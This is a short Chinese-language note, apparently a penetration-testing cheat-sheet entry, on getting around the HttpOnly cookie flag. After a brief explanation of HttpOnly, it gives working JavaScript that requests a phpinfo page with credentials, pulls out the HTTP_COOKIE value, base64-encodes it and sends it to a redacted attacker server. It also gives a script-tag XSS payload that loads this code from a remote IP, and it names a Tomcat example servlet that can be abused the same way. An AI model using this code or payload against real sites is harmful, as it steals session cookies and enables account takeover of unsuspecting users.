根据 Microsoft Developer Network,HttpOnly 是 Set-Cookie HTTP 响应标头中包含的附加标志。 在生成 cookie 时使用 HttpOnly 标志有助于降低客户端脚本访问受保护 cookie 的风险(如果浏览器支持它)。
下面的示例显示了 HTTP 响应标头中使用的语法:
Set-Cookie: <name>=<value>[; <Max-Age>=<age>]
`[; expires=<date>][; domain=<domain_name>]
[; path=<some_path>][; secure][; HttpOnly]
如果 HttpOnly 标志(可选)包含在 HTTP 响应标头中,则无法通过客户端脚本访问 cookie(同样,如果浏览器支持此标志)。 因此,即使存在跨站点脚本 (XSS) 漏洞,并且用户意外访问了利用此漏洞的链接,浏览器(主要是 Internet Explorer)也不会将 cookie 泄露给第三方。
phpinfo()
phpinfo 读取每个 cookie,甚至是 HttpOnly 的。
创建读取 phpinfo.php 的JS代码,获取值“ HTTP_COOKIE ”并将其发送回我们的服务器。
var req = new XMLHttpRequest();
req.onload = reqListener;
var url = 'https://REDACTED/info.php';
req.withCredentials = true; // send cookie header
req.open('GET', url, false);
req.send();
function reqListener() {
var req2 = new XMLHttpRequest();
const sess = this.responseText.substring(this.responseText.indexOf('HTTP_COOKIE') + 1 ); # Thats ugly, improve it :)
req2.open('GET', 'https://REDACTED/?data=' + btoa(sess), false);
req2.send()
};
payload
<script src=//ip/info.js></script>
PS2 Tomcat 有可以以相同方式使用的示例
/examples/servlets/servlet/SessionExample